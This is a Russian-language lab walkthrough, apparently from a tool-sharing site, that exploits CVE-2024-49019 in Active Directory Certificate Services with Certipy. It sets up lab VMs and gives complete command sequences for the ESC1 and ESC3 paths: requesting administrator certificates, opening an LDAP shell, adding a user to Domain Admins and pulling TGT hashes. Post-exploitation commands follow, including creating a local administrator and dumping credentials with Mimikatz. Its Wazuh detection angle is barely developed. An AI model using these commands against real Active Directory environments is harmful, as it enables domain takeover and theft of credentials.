Эксплуатация CVE-2024-49019: Повышение привилегий в центре сертификации

Обзор

CVE-2024-49019 — это уязвимость в службах сертификации Active Directory (AD CS), которая позволяет злоумышленнику повышать привилегии, неправомерно используя аутентификацию на основе сертификатов. В этом руководстве показано, как эксплуатировать данную уязвимость с помощью Certipy.

Таблица учётных данных

Виртуальная машина Ubuntu-Wazuh используется для целей обнаружения. Руководство по обнаружению Смягчение последствий

Шаг 1: Клонирование репозитория и настройка виртуальных машин

Сначала клонируйте репозиторий, содержащий необходимые файлы:

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

Установка Vagrant

Перед продолжением необходимо установить Vagrant на вашу хост-машину.

Для Windows

Скачайте и установите Vagrant здесь или установите с помощью PowerShell:

choco install vagrant

Для Linux

sudo apt update && sudo apt install vagrant -y

Настройка виртуальных машин

Виртуальная машина Windows Server 2022

cd windows-server2022
vagrant up

Виртуальная машина Kali Linux

cd kali-VM
vagrant up

Виртуальная машина Wazuh Ubuntu

cd WazuhUbuntu
vagrant up

Шаг 2: Настройка виртуальной сети

Поскольку для эксплуатации требуется NAT-сеть, настройте VirtualBox следующим образом:

В Windows

Перед выполнением команды ниже убедитесь, что VBoxManage добавлен в переменные окружения. Если нет, выполните команду, используя её полный путь:

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Если VBoxManage не распознан, используйте:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

В Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Убедитесь, что все виртуальные машины в VirtualBox назначены на сетевой адаптер NatNetwork - NatNet1. Вы можете создать NAT-сеть с другим именем, но она должна находиться в диапазоне IP-адресов 10.0.2.0/24.

Примечание: Рекомендуется настроить DNS для сервера Wazuh. В данном случае DNS должен быть: 10.0.2.1 - Иногда без интернета проверка API завершится ошибкой, и вы не сможете войти в панель управления Wazuh

Шаг 3: Изменение файла hosts

Перед продолжением убедитесь, что все виртуальные машины включены.

Войдите в виртуальную машину Kali Linux, чтобы начать атаку, и обновите файл /etc/hosts:

sudo nano /etc/hosts

Добавьте следующую запись:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

Сохраните и выйдите.

Шаг 4: Настройка окружения

Перейдите в каталог CVE-49019 и активируйте виртуальное окружение Python:

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

Шаг 5: Методы эксплуатации

Существует два способа эксплуатации этой уязвимости: ESC1 и ESC3.

Метод ESC1

Поиск уязвимых шаблонов

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Запрос сертификата

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

Использование сертификата для доступа к LDAP Shell

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Добавление нового пользователя

add_user badadmin

Добавление пользователя в группу Domain Admins

add_user_to_group badadmin "Domain Admins"

Метод ESC3

Поиск уязвимых шаблонов

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Запрос сертификата от тестового пользователя

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

Запрос сертификата для администратора домена с использованием сертификата testuser

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

Именно здесь этот метод отличается от ESC1: он может запросить PKINIT и получить хэши из TGT

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

Примечание: Если вы получили ошибку: при попытке запросить TGT: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)

Существует обходное решение: убедитесь, что время на вашей хост-машине совпадает со временем самого Windows Server. Выполните эту команду, чтобы синхронизировать виртуальную машину Kali-Linux с Windows Server.

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

Убедитесь, что часовой пояс Windows Server совпадает с часовым поясом хост-машины. Учитывайте, что его может быть нельзя изменить из-за политики организации. В таком случае перейдите в настройки даты и времени, чтобы изменить его вручную в соответствии с хост-машиной. Kali-VM и Windows Server должны иметь то же время, что и хост-машина.

Вы можете попробовать принудительно синхронизировать время с помощью команды ниже

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

Использование сертификата для получения доступа администратора

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Шаг 6: Что можно сделать после эксплуатации?

После получения доступа уровня администратора злоумышленник может:

• Создавать и управлять учётными записями пользователей
  root@kitploit:~

  net user hacked /add
  net localgroup "Administrators" hacked /add
  

• Сбрасывать учётные данные с помощью Mimikatz:
  root@kitploit:~

  sekurlsa::logonpasswords
  

• **Secretdump с помощью Impacket
• **Wmiexec для получения доступа к оболочке Windows Server
• **Смена администратора Windows Server с помощью BloodyAD
• Совершать pivot-атаки и перемещаться латерально в пределах сети
• Закрепляться в системе
• Похищать конфиденциальные данные

Стратегии обнаружения и смягчения последствий см. в руководстве по обнаружению.

Заключение

CVE-2024-49019 представляет значительный риск для безопасности из-за возможности несанкционированного повышения привилегий. Понимание этой уязвимости и развёртывание надлежащих механизмов обнаружения, таких как использование Wazuh, имеет решающее значение для защиты сред Active Directory.

Дополнительную информацию о защите AD CS см. в Microsoft Security CVE-2024-49019.